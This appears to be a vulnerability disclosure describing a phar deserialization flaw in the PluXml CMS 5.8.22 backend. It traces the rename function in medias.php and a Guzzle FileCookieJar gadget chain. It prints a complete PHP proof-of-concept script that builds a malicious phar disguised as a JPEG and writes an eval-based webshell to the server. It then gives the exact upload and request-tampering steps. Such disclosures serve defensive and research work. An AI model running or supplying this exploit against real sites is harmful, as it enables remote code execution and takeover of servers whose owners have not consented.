Logo PluXml CMS 5.8.22 Backend Deserialization Vulnerability

PluXml CMS 5.8.22 Backend Deserialization Vulnerability

BUG_Author: V3geD4g

Affected Version: PluXml CMS ≤ 5.8.22

Vendor: PluXml

Software: PluXml

Vulnerability Files:

  • core\admin\medias.php

  • core\vendor\guzzlehttp\guzzle\src\Cookie\FileCookieJar.php

Description:#

  1. The vulnerability exists in the core\admin\medias.php file. Line 48 provides a file renaming functionality where both the $_POST['oldname'] and $_POST['newname'] parameters are user-controllable.

    Article Image
  2. Following the renameFile method, it uses is_readable and is_file functions, which can be exploited for phar deserialization attacks.

    Article Image
  3. Similarly, the medias.php file in the backend also has a file upload functionality that allows uploading image files.

    Article Image

    Therefore, the subsequent step only requires discovering a deserialization gadget chain to exploit it in conjunction with the backend file upload vulnerability.

  4. The deserialization gadget chain used here is located in core\vendor\guzzlehttp\guzzle\src\Cookie\FileCookieJar.php. Files under core\vendor are loaded via autoload by default, making them callable.

    The gadget chain is straightforward:

    FileCookieJar::__destruct()->FileCookieJar::save()
    Article Image

    The save function directly uses file_put_contents to write files.

  5. The final exploit code is as follows. Generate a phar package, rename it to jpg, and upload it:

    <?php

    namespace GuzzleHttp\Cookie;

    class CookieJar {
       private $cookies = [];
       public function __construct(){
           $this->cookies = [new SetCookie()];
      }
    }

    class SetCookie {
       private $data = [
           'abc' => '<?php eval($_POST[cmd]);?>',
      ];
    }

    class FileCookieJar extends CookieJar {
       private $filename = '/var/www/html/shell.php';
       private $storeSessionCookies = true;
    }

    // Config
    $pharFile = __DIR__ . '/evil.phar';

    // Check phar.readonly
    if (ini_get('phar.readonly')) {
       die("[!] phar.readonly = On, please set phar.readonly = Off in php.ini\n");
    }

    // Create object
    $jar = new FileCookieJar();

    // Delete old file
    @unlink($pharFile);

    // Generate Phar
    $phar = new \Phar($pharFile);
    $phar->startBuffering();
    $phar->addFromString('x', 'x');
    $phar->setStub('<?php __HALT_COMPILER(); ?>');
    $phar->setMetadata($jar);
    $phar->stopBuffering();

    echo "[+] Phar generated: $pharFile\n";
    echo "[+] Size: " . filesize($pharFile) . " bytes\n";

    // Rename to jpg
    $jpgFile = __DIR__ . '/evil.jpg';
    @unlink($jpgFile);
    rename($pharFile, $jpgFile);

    echo "[+] Renamed to: $jpgFile\n";
    echo "[+] Usage: phar://$jpgFile/x\n";

    Note: The $filename must be set to an absolute path.

  6. Upload the generated evil.jpg from the backend.

    Article Image
    Article Image
  7. Intercept the request during file renaming and modify the oldname parameter to phar://..%2F..%2Fdata%2Fmedias%2Fevil.jpg.

    Article Image
    Article Image
  8. File write successful.

    Article Image